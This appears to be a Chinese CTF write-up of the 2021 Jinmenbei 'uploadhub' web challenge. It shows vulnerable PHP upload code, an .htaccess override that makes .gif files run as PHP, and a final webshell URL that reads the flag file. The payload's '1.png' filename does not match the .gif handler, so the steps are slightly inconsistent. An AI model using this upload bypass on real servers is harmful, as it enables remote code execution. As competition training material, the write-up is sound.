[津門杯]XCTF-天津站-2021-Web-uploadhub


趁着官方環境還沒關,跟着WP復現一遍

官方環境:http://122.112.248.222:20003/

比賽網址:https://jinmenbei.xctf.org.cn/ad5/match/jeopardy/

 

這道題很有意思啊,直接把源碼和配置文件都在附件中給出了

檢查一下源碼

 index.php

<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
        
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);

            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);

            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }

            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }

    elseif (isset($_GET['id'])){
        $id=intval($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }


?>

config.php

<?php 
$conn=mysqli_connect("localhost","root","root","shuyu"); 
if (mysqli_connect_error($conn))
{ 
    echo "???? MySQL ???: " . mysqli_connect_error(); 
} 
foreach ($_GET as $key => $value) {
	 $value= str_ireplace('\'','',$value);
	 $value= str_ireplace('"','',$value);
     $value= str_ireplace('union','',$value);
     $value= str_ireplace('select','',$value);
     $value= str_ireplace('from','',$value);
     $value= str_ireplace('or','',$value);
	 $_GET[$key] =$value;
 }
?>

才疏學淺,未能找到合適的SQL注入點和繞過上傳的方式

就像題目給出的圖片一樣,一時語塞,陷入沉思

查看apache2.conf配置文件

有這么一段

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

php_flag engine 設置為0,會關閉該目錄和子目錄的php解析

我們可以通過上傳.htaccess文件來開啟php解析

經師傅們測試發現<file>標簽的優先級高於<directory>

<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>

之后隨意上傳一個文件后綴名為.gif的文件,就可以讓當前目錄及其子目錄下所有文件都被當做 php 解析

 

 

 

getshell

 

 

一定要通過嘗試確定好文件上傳的位置

一般來說flag都是和上傳文件位於同一目錄

此外,最后還需要繞過disable_funtions,使用var_dump語句獲取文件信息 

 

成功得到flag

flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx} 

最終payload

 http://122.112.248.222:20003/upload/a3de73ada4f3028f69f5793f5fd3c27e/1.png?code=var_dump(file_get_contents(%22/flag%22));

 

 

參考師傅們的WP:

https://mp.weixin.qq.com/s/j-M7gfVXdnxovWDiZGTihQ

https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM